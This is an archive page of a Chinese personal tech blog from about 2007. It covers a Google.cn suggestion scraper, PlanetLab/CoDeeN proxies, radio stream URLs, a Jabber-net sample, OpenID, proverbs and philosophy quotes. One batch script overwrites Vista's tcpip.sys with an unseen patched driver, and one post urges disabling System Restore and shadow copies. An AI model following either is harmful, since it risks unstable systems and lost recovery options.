This blog is rated 🔞, viewer discretion is advised

Google.cn 上的中文智能感应

看到 阿楠前辈写了关于 Google.cn 的智能感应的blog,于是心理痒痒写了个 最常用500个汉字 的 Google.cn 智能感知结果。用Python把结果批量扒下来的,后附源码及其解释:

 

的 的士高
一 一根材
国 国泰君安
在 在线翻译
人 人体写真
了 了凡四训
有 有一种爱叫做放手
中 中国移动
是 是男人就下100层
年 年报
和 和讯
大 大智慧
业 业务员
不 不怕不怕
为 为什么星期日不叫星期七
发 发型
会 会计
工 工商银行
经 经典老歌
上 上海热线
地 地图
市 市盈率
要 要听音乐网
个 个人简历
产 产假
这 这该死的爱
出 出口退税
行 行政管理
作 作文
生 生活网
家 家具
以 以色列
成 成语
到 到岸价
日 日本
民 民生银行
来 来书
我 我爱我家
部 部队
对 对不起 我爱你
进 进口的电玩
多 多普达
全 全国计算机等级考试
建 建设银行

公 公务员考试
开 开放式基金
们 们徒
场 场效应管
展 展会
时 时尚
理 理财
新 新浪
方 方正
主 主板
企 企业所得税法
资 资生堂
实 实用酷站大全
学 学习
报 报关员
制 制图软件
政 政府工作报告
济 济宁信息港
用 用友
同 同花顺
于 于丹

高 高考
长 长江证券
现 现代
本 本友会
月 月亮之上
定 定时关机
化 化妆品
加 加盟
动 动感地带
合 合同法
品 品色
重 重庆大学
关 关于
机 机票
分 分析家
力 力王
自 自我鉴定
外 外挂
者 者哩
区 区号查询
能 能源
设 设计
后 后宫
就 就业
等 等一分钟
体 体育彩票
下 下载
万 万年历
元 元素周期表
社 社保
过 过敏性鼻炎
前 前程无忧
面 面试技巧
农 农业银行
也 也门
得 得得网
与 与青春有关的日子
说 说课
之 之江学院
员 员工手册
而 而今迈步从头越
务 务实
利 利率
电 电影
文 文心阁
事 事业单位
可 可口可乐
种 种子
总 总结
改 改名
三 三星
各 各国国旗
好 好123
金 金山词霸
第 第一财经
司 司法考试
其 其实我很在乎你
从 从零开始
平 平板电脑
代 代理服务器
当 当当网
天 天气预报
水 水浒q传
省 省委书记
提 提前还贷计算器
商 商务部
十 十二生肖
管 管家婆
内 内衣
小 小说
技 技嘉
位 位移传感器
目 目标管理
起 起点
海 海通证券
所 所得税
立 立邦漆
已 已肝
通 通天塔
入 入党申请书
量 量比
子 子宫肌瘤
问 问道
度 度假村
北 北京移动
保 保险
心 心理测试
还 还原精灵
科 科学发展观
委 委托书
都 都市快报
术 术士
使 使命召唤
明 明星
着 着火的周末
次 次氯酸钠
将 将门风云
增 增值税
基 基金
名 名人名言
向 向警予
门 门徒
应 应届生
里 里昂
美 美容
由 由酷
规 规章制度
今 今天你要嫁给我
题 题西林壁
记 记事本
点 点点通
计 计算机等级考试
去 去斑
强 强剑
两 两性生活
些 些些事些些情
表 表白
系 系统之家
办 办公软件
教 教育部
正 正则表达式
条 条形码
最 最新电影
达 达子的春天
特 特价机票
革 革命歌曲
收 收音机
二 二手房
期 期货
并 并购
程 程序员
厂 厂房出租
如 如家
道 道德经
际 际恒
及 及时雨
西 西西里的首府
口 口碑网
京 京东
华 华军软件园
任 任贤齐
调 调查报告
性 性生活
导 导航
组 组策略
东 东方财富网

活 活色生香
广 广发证券
意 意大利
比 比特精灵
投 投资
决 决明子
交 交通银行
统 统一加速器
党 党章
南 南方基金
安 安全卫士360
此 此情可待
领 领带打法
结 结婚
营 营养
项 项目管理
情 情书
解 解梦
议 议论文
义 义乌市长辉新材料应用有限公司
山 山东大学
先 先锋
车 车模
然 然后
价 价格
放 放羊的星星
世 世纪佳缘
间 间谍
因 因为是女子
共 共和国之辉
院 院士
步 步步高
物 物权法
界 界面设计
集 集美大学
把 把悲伤留给自己
持 持月真由

但 但愿人长久
城 城际通
相 相声
书 书法
村 村居
求 求职
治 治安管理处罚法
取 取名
原 原创视频
处 处方管理办法
府 府学小学
研 研究生招生信息网
质 质量管理
信 信纸
四 四川大学
运 运程
县 县域经济
军 军事
件 件下载
育 育儿网
局 局域网

队 队伍建设
团 团购
又 又一夜
造 造价工程师
形 形象设计
级 级品五笔
标 标志
联 联众
专 专升本
少 少林寺

效 效果图
据 据当地法律法规和政策 部分搜索结果未予显示。
手 手机
施 施华洛世奇
权 权证

近 近义词
深 深圳之窗
更 更年期
认 认真的雪
果 果蔬连连看
格 格力空调
几 几米
看 看电影
没 没有你的日子我真的好孤单
职 职称英语考试
服 服装
台 台湾
式 式神之城3
益 益智游戏
想 想起
数 数码相机
单 单机游戏
样 样板房
只 只对你有感觉
被 被风吹过的夏天
亿 亿唐
老 老百晓
受 受孕
优 优化大师
常 常州信息港
销 销售
志 志愿者
战 战神2
流 流行音乐
很 很爱很爱你
接 接触
乡 乡村爱情
头 头像
给 给我一支烟
至 至尊无赖
难 难道爱一个人有错吗
观 观月雏乃
指 指南针
创 创业

织 织田信长
论 论坛
别 别问我是谁
五 五笔
协 协程

风 风云
批 批发
见 见丈母娘
究 究竟我是怎么了
支 支付宝
那 那小子真帅
查 查ip
张 张三丰异界游
精 精美图片
每 每日基金净值
林 林心如
转 转角遇到爱
划 划词搜索
准 准生证
做 做你的爱人
需 需求分析
传 传奇私服
争 争鸣
税 税法
构 构建和谐社会
具 具有翻番潜力的高速成长垄断小盘股
百 百度
或 或有负债
才 才子
积 积水潭医院
势 势倾天下
举 举起手来
必 必胜客
型 型材
易 易趣
视 视频
快 快乐购
李 李俊基
参 参考消息
回 回到明朝当王爷
引 引产
镇 镇江
首 首都师范大学
推 推荐信
思 思想汇报
完 完美世界
消 消费者权益保护法
值 值得
该 该死的温柔
走 走遍美国
装 装修
众 众泰2008
责 责任
备 备案
州 州的孩子
供 供应链管理
包 包钢股份
副 副本
极 极品五笔
整 整体上市
确 确然播放器
知 知音
贸 贸易通
己 己所不欲 勿施于人
环 环球时报
话 话费查询

身 身份证查询
选 选择
亚 亚洲交友中心
么 么么
带 带头大哥777
采 采购
王 王子变青蛙
策 策划
真 真爱之百万新娘
女 女人

严 严正花
斯 斯芬达克斯谜语
况 况明洁
色 色界论坛
打 打印机
德 德国
告 告白
仅 仅此唯一的爱
它 它山之石
气 气象
料 料理小游戏
神 神泣
率 率性
识 识法代言人
劳 劳动法
境 境外旅游
源 源码
青 青娱乐
护 护肤
列 列车时刻表
兴 兴业银行
许 许玮伦
户 户田惠梨香
马 马天宇
港 港澳通行证
则 则灵
节 节日
款 款待中国
拉 拉拉
直 直销
案 案例分析
股 股票
光 光大银行
较 较量
河 河南移动
花 花生壳
根 根雕
布 布拉格恋人
线 线性代数
土 土豆网
克 克丽奥佩特拉之死
再 再见阿郎
群 群英会
医 医学
清 清华大学
速 速腾
律 律师
她 她和他和他和他
族 族谱
历 历史
非 非主流
感 感恩的心
占 占卜
续 续金瓶梅
师 师士传说
何 何洁
影 影视网址导航
功 功夫
负 负载均衡
验 验证码
望 望远镜
财 财经
类 类风湿
货 货架
约 约定
艺 艺术
售 售后服务
连 连连看
纪 纪念币
按 按键精灵
讯 讯雷
史 史记
示 示波器
象 象棋
养 养老保险
获 获奖感言
石 石家庄
食 食谱
抓 抓图软件
富 富士康
模 模拟器
始 始皇天下
住 住房公积金
赛 赛车游戏
客 客齐集
越 越狱
闻 闻一多
央 央行加息
席 席娟
坚 坚持

 

Python 源代码:

 

import urllib,urllib2,re

strToBeGoogled=
"的一国在人了有中是年和大业不为发会工经上地市要个产这出行作生家以成到日民来我部对进多全建他公开们场展时理新方主企资实学报制政济用同于法高长现本月定化加动合品重关机分力自外者区能设后就等体下万元社过前面农也得与说之员而务利电文事可种总改三各好金第司其从平代当天水省提商十管内小技位目起海所立已通入量子问度北保心还科委都术使明着次将增基名向门应里美由规今题记点计去强两些表系办教正条最达特革收二期并程厂如道际及西口京华任调性导组东路活广意比投决交统党南安此领结营项情解议义山先车然价放世间因共院步物界集把持无但城相书村求治取原处府研质信四运县军件育局干队团又造形级标联专少费效据手施权江近深更认果格几看没职服台式益想数单样只被亿老受优常销志战流很接乡头给至难观指创证织论别五协变风批见究支那查张精每林转划准做需传争税构具百或才积势举必型易视快李参回引镇首推思完消值该走装众责备州供包副极整确知贸己环话反身选亚么带采王策真女谈严斯况色打德告仅它气料神率识劳境源青护列兴许户马港则节款拉直案股光较河花根布线土克再群医清速律她族历非感占续师何影功负验望财类货约艺售连纪按讯史示象养获石食抓富模始住赛客越闻央席坚"

#最常用的500个汉字



def ReqPage(strUrl,strContent=None):

    
"""基础请求对象"""

    
return urllib2.urlopen(urllib2.Request(strUrl))



def RegGoogle(strKeyword):

    
"""得到Google.cn的智能感知结果"""

    
return ReqPage("http://www.google.cn/complete/search?hl=zh-CN&client=suggest&js=true&"+\

                   urllib.urlencode({
"qu":strKeyword.decode('cp936').encode('utf8')}))\

                   .read().decode(
"utf_8")



def FindFirst(strIn):

    
"""正则分析第一个匹配结果"""

    
try:

        match=re.search(
r"Array(\"(.*?)\"",strIn)

        
return match.group(1)

    
except:

        
return ""



#遍历每个汉字

for in range(0,len(strToBeGoogled),2):

    strTemp=strToBeGoogled[i:i+
2]

    
print strTemp,FindFirst(RegGoogle(strTemp))





Posted

archive

Vista x86 TCP/IP 连接数傻瓜化破解

写了个批处理玩玩

 

@echo Off
:est@CN-DOS, electronicstar@126.com
:TCP/IP Connection limit crack
echo By est
takeown /f %WinDir%\System32\drivers\tcpip.sys 1>nul 2>nul
echo y|cacls %WinDir%\System32\Drivers\tcpip.sys /G %username%:F 1>nul 2>nul
replace %WinDir%\System32\drivers\tcpip.sys "%CD%" 1>nul 2>nul
netsh int tcp set global autotuninglevel=disable 1>nul 2>nul
set /p ConnNum=输入你希望的TCP/IP连接数:
reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v TcpNumConnections /t REG_DWORD /d %ConnNum% /f 1>nul 2>nul
echo 搞定。任意键退出
pause 1>nul

[内有附件]

Posted

archive

[原]Python中用win32api改写注册表

尝试了很久用win32api.RegSetValue 改写注册表,但是每次都是 新建一个子键 而不是修改一个键值,弄了一个晚上才弄出来。好笨重啊

 

import win32api,win32con
WallpaperKey=win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,r"Control Panel\Desktop",0,win32con.KEY_SET_VALUE)
win32api.RegSetValueEx(WallpaperKey,"WallPaper",0,win32con.REG_SZ,strTargetFilePath)
WallpaperKey.close()
 

Posted

archive

为了保护你的硬盘,安装完Vista必须做的几件事情

1. 关闭Volume Shadow Copy服务,在Vista里很多文件、文件夹看属性里都有一个 早期版本 选项,我想这个功能对绝大多数人都没有用吧?Win+R打开services.msc ,找到Volume Shadow Copy,设置为禁用

2. 关闭所有分区的系统还原:在我的电脑 属性 高级里关闭所有分区的系统还原

3. 关闭所有分区的 磁盘清理 计划任务,在盘符上点属性,找到磁盘整理,把“计划磁盘整理”的钩去掉

4. 关闭包含大块文件的文件压缩和索引,在盘符/文件夹上点右键,取消 索引文件以加快搜索速度,在文件夹上点右键,属性,高级,关闭 压缩文件以节省空间 索引文件以加快搜索速度

5. 关闭Windows Search服务。

最近十分不爽啊,狗日的Vista把我4个GB的VMWare镜像文件给索引了,真TMD的SB一个。每次开机我都能看到Vista在读取那个4GB的镜像文件,每次磁盘灯都闪好久。Windows Search 也是一个及其SB的设计,该索引的不索引,不该索引的给你索引一大堆。还有那个自动磁盘整理,真是没事找事做。磁盘压缩就算了,大文件压缩了真的很影响效率啊。总之Windows Vista默认状态真的很伤磁盘,大家注意观察硬盘的指示灯就会发现。另外我发现ReadyBoost这个功能有的时候也比较消耗磁盘,弄得我硬盘哐当哐当响,真的感觉很不爽

P.S. 今天取消了一个 2GB 文件的压缩和索引,花了37分钟。心疼啊,眼睁睁看硬盘狂转37分钟。再次鄙视Vista

Posted

archive

什么是Planet-lab?什么是CoDeeN?


Planet-lab,官方定义为An open platform for developing, deploying, and accessing planetary-scale services,翻译成中文就是:星球实验室,一个用于开发、部署和使用的“星系级别”的网络服务的开放平台。

PlanetLab

PlanetLab is a global research network that supports the development of new network services. Since the beginning of 2003, more than 1,000 researchers at top academic institutions and industrial research labs have used PlanetLab to develop new technologies for distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and query processing.

PlanetLab currently consists of 760 nodes at 379 sites.

PlanetLab node distribution

它是一个全球性的研究网络,用于新型网络服务的开发。自从2003年起,超过1,000过来自顶级学术机构和业界实验室在PlanetLab上开发了新技术包括:分布式存储、网络印射、P2P系统、DHT(分布式哈希表)和查询处理。PlanetLab目前有760个节点和379个站点。

 

CoDeeN

A Content Distribution Network for PlanetLab

 

CoDeeN 包含下列服务:

当然最著名的就是 CoDeeN 代理啦,用来听Pandora和看Youtube一点都不卡,呵呵。代理列表可以看CoDeeN的教育网代理,2007.3.9.UECTC.ProxyHunter验证

附:首批加入Planetlab的25所国内大学
北京大学 北京航空航天大学 北京邮电大学 重庆大学
东北大学 大连理工大学 东南大学 电子科技大学
复旦大学 哈尔滨工业大学 华南理工大学 华中科技大学
吉林大学 兰州大学 清华大学 山东大学
上海交通大学 天津大学 同济大学 西安交通大学
厦门大学 中国科学技术大学 浙江大学 中南大学 郑州大学

Posted

archive

BBC, VOA, akamaistream - 又是Planet-lab

今天在网上找 BBC News 和 Voice of America 的在线收音地址(例如这个链接),无意中发现,很多地址都实效了,而且都是来自域名: akamai.com、akamaistream.net ,在Baidu上搜索索 就有一大堆,全部是关于在线电台的。打开 akamaistream.net的主页一看,吓一跳,居然又是Planet-lab的一个项目。

 

大概研究了下其中的奥妙,这个和我以前提到过的 CoDeeNPlanet-Lab 都有很大关系。这次还有一个Coral的CDN项目,为什么 BBC News 和 Voice of America 的电台都通过 CDN 的地址向外界发布呢?我猜想是因为言论过于自由而被 GFWed,而通过 Planet-Lib 建立在全球的服务器群,可以通过高速专线链接到世界各地,包括中国。中国 由Intel和HP和HP捐赠,CERNET于2004年12月 加入Planet-lab项目

仔细查看Planet-Lab的项目列表,发现很多关系到网络自由和开放问题。例如 Google 目前正在Planet-lab研究 network reachability from within the peoples' republic of china,University of Colorado正在研究 colorado_dht,甚至P2P的DNS——CoDoNS,这些项目都极大的打击了任何网络封锁。

最后,终于找到了BBC World Service 的地址,推荐网站:http://www.pandia.com/radio/ 。其实URL_2是我是用Windows Media Player内置的Media Guid搜索到的,汗

BBC World Service

URL_1:http://www.bbc.co.uk/worldservice/ram/live_infent.ram
URL_1真实地址:rtsp://rmlive.bbc.co.uk/bbc-rbs/rmlive/ev7/live24/worldservice/liveinfent.ra (教育网打不开)
URL_2:http://www.bbc.co.uk/worldservice/meta/tx/nb/live_news_au_nb.asx (16K)
URL_2真实地址:mms://a1149.l1305038288.c13050.g.lm.akamaistream.net/D/1149/13050/v0001/reflector:38288 (2007.3.23.UeSTC有效)
URL_3 1300:http://www.bbc.co.uk/worldservice/newshour/1300.ram
URL_3真实地址:pnm://rmv8.bbc.net.uk/worldservice/newshour1300.ra
URL_4 2000:http://www.bbc.co.uk/worldservice/newshour/2000.ram
URL_4真实地址:pnm://rmv8.bbc.net.uk/worldservice/newshour2000.ra

Voice of America

URL_1:http://www.voanews.com/real/live/newsnow.ram
URL_1真实地址:
rtsp://a1702.l211044464.c2110.g.lr.akamaistream.net/live/D/1702/2110/v0001/reflector:44464
rtsp://a1702.l211048984.c2110.g.lr.akamaistream.net/live/D/1702/2110/v0001/reflector:48984

什么是Akamai?
来源:http://blog.sina.com.cn/u/54a9e185010006fr

如果您曾纳闷过网站“Akamai 化”的意思为何,这场有关本公司起源的演说将可解谜。但在Akamai 问世之前,存在着相当多的研究问题。大约在十五年前,万维网 (World Wide Web) 创始者-Tim Berners-Lee 要求 Thomson Leighton考虑对于未来的解决方案-即目前所熟悉之网际网络问题:当使用者大量涌入特定网站造成网络塞车的瓶颈,通常是因为只凭藉单一网络供应线路所造成。Leighton团队在计算最快速资料传输率的方法过程中,产生了算法 (和刊物及先进的教育)。他们从中学习到一些技巧,以应付网络服务供应商从网络线路上,排挤竞争者的资料导致网络传输速度减慢的情形。Akamai (夏威夷语之“既聪明又酷”) 计划始于 麻省理工$50k 创业竞赛,并在一些大客户决定让这间公司操作测试后一炮而红。Paramount、ESPN、Apple 和Microsoft体认到 Akamai 之网络最优化策略的重要性:将伺服器与路由软件散布至“边缘”及使用者,而非集中服务。Akamai 经历股市的“泡沫化”及崩盘后依然续存,而目前以提供多元化全球市场服务为主。

[内有附件]

Posted

archive

换blog。。。。

没办法了, .NET的开源项目都是半死不活的, .Text的blog系统也几百年没有什么动静了,看了下 cnblogs 和 CSDN 的blog系统都烂得很,所以决定转到 WordPress 阵营。问题是服务器和空间的问题。现在 .cn 的域名也便宜,1元钱申请一个, mybeky 就弄了一个。可惜偶穷,没钱买空间

Posted

archive

C#调用Jabber-net登陆Google Talk

最近手痒想整合各种IM实现服务,花时间研究了下Google Talk,在 jabberstudio.org 上发现了 jabber-net 的类库,写了个简单的登陆程序。

在Visual Studio里新建一个WindowsApplication,添加 jabber-net 的引用

 

输入以下代码。有注释就不解释了。

 

namespace WindowsApplication1
{
public partial class Form1 : Form
{
//全局Jabber客户端对象:jc
jabber.client.JabberClient jc = new jabber.client.JabberClient();
private void Form1_Load(object sender, EventArgs e)
{
jc.OnMessage += new jabber.client.MessageHandler(MyJabber_OnMessage);
//用户 someone@gmail.com 登陆
jc.User = "someone";
jc.Server = "gmail.com";
jc.Password = "password";
jc.NetworkHost = "talk.google.com";
jc.Port = 5223;
jc.SSL = true;
jc.PlaintextAuth = true;
jc.AutoLogin = true;
jc.AutoPresence = true;
jc.AutoReconnect = 1;
jc.AutoRoster = true;
jc.Connect();
}
//收到消息啦
void MyJabber_OnMessage(object sender, jabber.protocol.client.Message msg)
{
MessageBox.Show(msg.Body,msg.From.User);
}
//给一个JabberID发消息
private void button1_Click(object sender, EventArgs e)
{
//这里的用法: Message(目标用户名, 消息内容)
jc.Message(textBox1.Text,textBox2.Text);
}
}
}
 

[内有附件]

Posted

archive

CoDeeN的教育网代理,2007.3.9.UECTC.ProxyHunter验证

发CoDeeN的代理:

 

128.112.139.71:3128
128.112.139.78:3128
128.112.139.96:3128
128.112.139.97:3128
128.112.139.110:3128
128.193.33.7:3128
128.193.33.8:3128
128.238.88.64:3128
128.238.88.65:3128
130.49.221.40:3128
130.194.64.162:3128
192.38.109.143:3128
192.38.109.144:3128
195.37.16.97:3128
200.19.159.35:3128
200.129.0.162:3128
200.132.0.70:3128
220.245.140.196:3128
63.64.153.82:3124
63.64.153.84:3124
128.31.1.11:3124
129.237.161.193:3124
129.237.161.194:3124
139.19.142.1:3124
139.19.142.2:3124
139.19.142.4:3124
139.19.142.5:3124
139.19.142.6:3124
128.31.1.14:3124
128.31.1.17:3124
128.220.231.2:3124
131.188.44.100:3124
141.24.33.162:3124
156.56.103.61:3124
156.56.103.62:3124
212.201.44.73:3124
35.9.27.27:3124
129.10.120.194:3124
129.74.152.67:3124
129.105.44.253:3124
128.220.231.3:3124
141.24.33.161:3124
129.10.120.193:3124
129.74.152.66:3124
216.165.109.82:3124
128.31.1.13:3124

在教育网用 CoDeeN 代理很快的,但是CoDeeN有以下缺点:

  • 不支持HTTP_POST
  • 只支持80端口
  • 不支持直接用IP地址的域名

附:什么是CoDeeN代理:

 

  • CoDeeN 是一个学术性的 内容分发网络 Content Distribution Network (CDN) 试验床,由普林斯顿大学 Network Systems Group 建立,基于 PlanetLab 。Codeen是由iMimic公司提供的数据反应代理服务器组成。现在这种代理服务器被用于许多 pantlab节点,它同时具有代理服务器和权限控制器的功能。这些服务器共同作用为CoDeeN用户提供快速的网络资源服务。
  • CoDeeN的用法:同普通的代理服务器的设置相同,如果要获得最佳速度,最好选用地理位置离用户最近的CoDeeN代理。另外一些PlanetLab网站对端口为3128的代理进行过滤,因此,当您用3128端口无法使用时,可改用3127或3124试试。

Posted

archive

注册OpenID

http://www.openid.cn

 1.什么是OpenID:

openID就是Six Apart提出来的,在MT、TypePad、Livejournal上广泛应用.

是一个分散式身份确认系统,确保这套系统不会因为某些公司耍心机就崩溃。

一个OpenID identity 其实是一个URL (既然如此,你当然可以拥有许多的URL)。OpenID 这 套系统负责提供一个方式让其他人知道你拥有这个URL (OpenID identity),而且这个方式不需要使用者输入密码,也不需要输入 e-mail address 之类的信息。

2. Maxthon如果愿意支持OpenID的话,也许可以从OpenID Code Bounty拿到若干美金

日前, VeriSign, JanRain, Four Kitchen Studios, Cordance, ooTao, Zooomr, claimID, NetMesh, SXIP, Opinity, 和 Six Apart  公司联合组织了“OpenID Code Bounty”。
OpenID Code Bounty将拿出5000美金资助十个开源的软件支持OpenID协议。
条件是:

遵守 OSI approved license
最少一个约5000次的下载量和总共 200,000 的用户

国内有类似的软件开发商愿意做么?

3.如何得到OpenID?

http://www.openidenabled.com/openid/libraries/ 找一个适合你的网站主机运行的语言的安装程序,你可以在自己的主机上安装一个openID服务器,然后注册一个OPENID;
http://www.openid.cn 注册一个OPENID,然后把得到的一段字符插入到你的网页中即可;
或者到https://pip.verisignlabs.com/ 注册一个OPENID;

Posted

archive

HP Compaq nx7400 的 Vista 驱动

写个blog备忘

官方地址:
http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareIndex.jsp?lang=en&cc=us&prodNameId=1847095&prodTypeId=321957&prodSeriesId=1847094&swLang=8&taskId=135&swEnvOID=2096

Audio
2006-12-22
ADI SoundMAX HD Audio Driver for Microsoft Vista 6.10.1.5110
3.59MB
ftp://ftp.hp.com//pub/softpaq/sp34001-3450/sp34399.exe

Graphics
Intel 945GM Video Driver for Microsoft Vista (32-bit Editions)  1151 WHQL
2006-12-22
6.57MB
ftp://ftp.hp.com/pub/softpaq/sp34001-34500/sp34394.exe

其他的都基本系统自带了

Posted

archive

软件编程格言,经典啊

文章出处:
http://www.multicians.org/thvv/proverbs.html

Software Engineering Proverbs

collected by Tom Van Vleck

cartoon, building tower from top down

Drawn by Angus Macdonald


A clever person solves a problem.
A wise person avoids it.

-- Einstein


André Bensoussan once explained to me the difference between a programmer and a designer:

"If you make a general statement, a programmer says, 'Yes, but...'
while a designer says, 'Yes, and...'"


No matter what the problem is,
it's always a people problem.

 Jerry Weinberg


Wexelblat's Scheduling Algorithm:

Choose two:

  • Good
  • Fast
  • Cheap

Craziness is doing the same thing and expecting a different result.

 Tom DeMarco, rephrasing Einstein, who said

Insanity: doing the same thing over and over again and expecting different results.


"There's no time to stop for gas, we're already late"

-- Karin Donker


Deming's 14 points

  1. Create constancy of purpose.
  2. Adopt the new philosophy.
  3. Cease dependence on mass inspection to achieve quality.
  4. Minimize total cost, not initial price of supplies.
  5. Improve constantly the system of production and service.
  6. Institute training on the job.
  7. Institute leadership.
  8. Drive out fear.
  9. Break down barriers between departments.
  10. Eliminate slogans, exhortations, and numerical targets.
  11. Eliminate work standards (quotas) and management by objective.
  12. Remove barriers that rob workers, engineers, and managers of their right to pride of workmanship.
  13. Institute a vigorous program of education and self-improvement.
  14. Put everyone in the company to work to accomplish the transformation.

We know about as much about software quality problems as they knew about the Black Plague in the 1600s. We've seen the victims' agonies and helped burn the corpses. We don't know what causes it; we don't really know if there is only one disease. We just suffer -- and keep pouring our sewage into our water supply.

-- Tom Van Vleck


The Troops Know

  • The schedule doesn't have enough time for maintenance in it.
  • A lot of bugs get past the tests.
  • Most old code can't be maintained.

To go faster, slow down. Everybody who knows about orbital mechanics understands that.

-- Scott Cherf


Everybody Knows:

  • Discipline is the best tool.
  • Design first, then code.
  • Don't patch bugs out, rewrite them out.
  • Don't test bugs out, design them out.

Everybody Knows:

  • If you don't understand it, you can't program it.
  • If you didn't measure it, you didn't do it.

Everybody Knows:

If something is worth doing once, it's worth building a tool to do it.


Your problem is another's solution;
Your solution will be his problem.


Everybody Knows:

  • If you've found 3 bugs in a program, best estimate is that there are 3 more.
  • 60% of product cost comes after initial shipment.

The significant problems we face cannot be solved by the same level of thinking that created them.

-- Albert Einstein


On the radio the other night, Jimmy Connors said the best advice he ever got was from Bobby Riggs:

  • do it
  • do it right
  • do it right now

It is not enough to do your best: you must know what to do, and THEN do your best.

-- W. Edwards Deming


A leader is best when people barely know that he exists.
Less good when they obey and acclaim him.
Worse when they fear and despise him.
Fail to honor people, and they fail to honor you.
But of a good leader, when his work is done, his aim fulfilled,
they will say, "We did this ourselves."

-- Lao-Tzu


You must be the change
You wish to see in the world

-- Gandhi


Experiment escorts us last,
His pungent company
Will not allow an axiom
An opportunity.

-- Emily Dickinson


when the cart stops
do you whip the cart
or whip the ox?


Q: How many QA testers does it take to change a lightbulb?
A: QA testers don't change anything. They just report that it's dark.

 Kerry Zallar


Q: How many software engineers does it take to change a lightbulb?
A: Just one. But the house falls down.

Andrew Siwko


One test is worth a thousand opinions.


"If you didn't write it down, it didn't happen."

This saying is popular among scientists (doing experiments), but I believe it applies to software testing, particularly for real-time systems.

--Larry Zana


We reject kings, presidents, and voting.
We believe in rough consensus and running code.

--Dave Clark (1992)


I am a design chauvinist. I believe that good design is magical and not to be lightly tinkered with. The difference between a great design and a lousy one is in the meshing of the thousand details that either fit or don't, and the spirit of the passionate intellect that has tied them together, or tried. That's why programming---or buying software---on the basis of "lists of features" is a doomed and misguided effort. The features can be thrown together, as in a garbage can, or carefully laid together and interwoven in elegant unification, as in APL, or the Forth language, or the game of chess.

-- Ted Nelson


 Software is Too Important to be Left to Programmers, by Meilir Page-Jones.


 "If you think good architecture is expensive, try bad architecture."

-- Brian Foote and Joseph Yoder


Abraham Lincoln reportedly said that, given eight hours to chop down a tree, he'd spend six sharpening his axe.

-- TidBITS 654, quoted by Derek K. Miller, via Art Evans


... while we all know that unmastered complexity is at the root of the misery, we do not know what degree of simplicity can be obtained, nor to what extent the intrinsic complexity of the whole design has to show up in the interfaces. We simply do not know yet the limits of disentanglement. We do not know yet whether intrinsic intricacy can be distinguished from accidental intricacy.

-- E. W. Dijkstra, Communications of the ACM, Mar 2001, Vol. 44, No. 3


You can only find truth with logic if you have already found truth without it.

-- Gilbert Keith Chesterton (1874-1936) " The Man who was Orthodox", via Paul Black


Here is a  great page about some kinds of management actually observed, and some insights on quality processes, by Joseph Koshy, via Robert Watson


16 Jan 2007

Posted

archive

11 Most Important Philosophical Quotations

Neatorama - Homehttp://www.neatorama.com/2007/02/06/11-most-important-philosophical-quotations/

 

 

11 Most Important Philosophical Quotations.

1. “The unexamined life is not worth living” – Socrates (470-399 BCE)

Socrates’ [wiki] belief that we must reflect upon the life we live was partly inspired by the famous phrase inscribed at the shrine of the oracle at Delphi, “Know thyself.” The key to finding value in the prophecies of the oracle was self-knowledge, not a decoder ring.

Socrates felt so passionately about the value of self-examination that he closely examined not only his own beliefs and values but those of others as well. More precisely, through his relentless questioning, he forced people to examine their own beliefs. He saw the citizens of his beloved Athens sleepwalking through life, living only for money, power, and fame, so he became famous trying to help them.

2. “Entities should not be multiplied unnecessarily” – William of Ockham (1285 - 1349?)

Commonly known as Ockham’s razor, the idea here is that in judging among competing philosophical or scientific theories, all other things being equal, we should prefer the simplest theory. Scientists currently speak of four forces in the universe: gravity, the electromagnetic force, the strong nuclear force, and the weak nuclear force. Ockham [wiki] would certainly nod approvingly at the ongoing attempt to formulate a grand unified theory, a single force that encompasses all four.

The ultimate irony of Ockham’s razor may be that some have used it to prove God is unnecessary to the explanation of the universe, an idea Ockham the Franciscan priest would reject.

3. “The life of man [is] solitary, poor, nasty, brutish, and short.” – Thomas Hobbes (1588 – 1679)

Referring to the original state of nature, a hypothetical past before civilization, Hobbes [wiki] saw no reason to be nostalgic.

Whereas Rousseau said, “Man is born free, and he is everywhere in chains,” Hobbes believed we find ourselves living a savage, impossible life without education and the protection of the state. Human nature is bad: we’ll prey on one another in the most vicious ways. No doubt the state imposes on our liberty in an overwhelming way. Yet Hobbes’ claim was that these very chains were absolutely crucial in protecting us from one another.

4. “I think therefore I am” – René Descartes (1596 – 1650)

Descartes [wiki] began his philosophy by doubting everything in order to figure out what he could know with absolute certainty. Although he could be wrong about what he was thinking, that he was thinking was undeniable. Upon the recognition that “I think,” Descartes concluded that “I am.”

On the heels of believing in himself, Descartes asked, What am I? His answer: a thinking thing (res cogitans) as opposed to a physical thing extended in three-dimensional space (res extensa). So, based on this line, Descartes knew he existed, though he wasn’t sure if he had a body. It’s a philosophical cliff-hanger; you’ll have to read Meditations to find out how it ends.

5. “To be is to be perceived (Esse est percipi).” Or, “If a tree falls in the forest and no one is there to hear it, does it make a sound?” – Bishop George Berkeley (1685 – 1753)

As an idealist, Berkeley [wiki] believed that nothing is real but minds and their ideas. Ideas do not exist independently of minds. Through a complicated and flawed line of reasoning he concluded that “to be is to be perceived.” Something exists only if someone has the idea of it.

Though he never put the question in the exact words of the famous quotation, Berkeley would say that if a tree fell in the forest and there was no one (not even a squirrel) there to hear it, not only would it not make a sound, but there would be no tree.

The good news is, according to Berkeley, that the mind of God always perceives everything. So the tree will always make a sound, and there’s no need to worry about blipping out of existence if you fall asleep in a room by yourself.

6. “We live in the best of all possible worlds.” – Gottfried Wilhelm Leibniz (1646 – 1716)

Voltaire’s famous novel Candide satirizes this optimistic view. And looking around you right now you may wonder how anyone could actually believe it. But Leibniz [wiki] believed that before creation God contemplated every possible way the universe could be and chose to create the one in which we live because it’s the best.

The principle of sufficient reason holds that for everything, there must be sufficient reason why it exists. And according to Leibniz the only sufficient reason for the world we live in is that God created it as the best possible universe. God could have created a universe in which no one ever did wrong, in which there was no human evil, but that would require humans to be deprived of the gift of free wills and thus would not be the best possible world.

7. “The owl of Minerva spreads its wings only with the falling of the dusk.” G.W.F. Hegel (1770 – 1831)

Similar to “vision is 20/20 in hindsight,” Hegel’s [wiki] poetic insight says that philosophers are impotent. Only after the end of an age can philosophers realize what it was about. And by then it’s too late to change things. It wasn’t until the time of Immanuel Kant (1724 - 1804) that the true nature of the Enlightenment was understood, and Kant did nothing to change the Enlightenment; he just consciously perpetuated it.

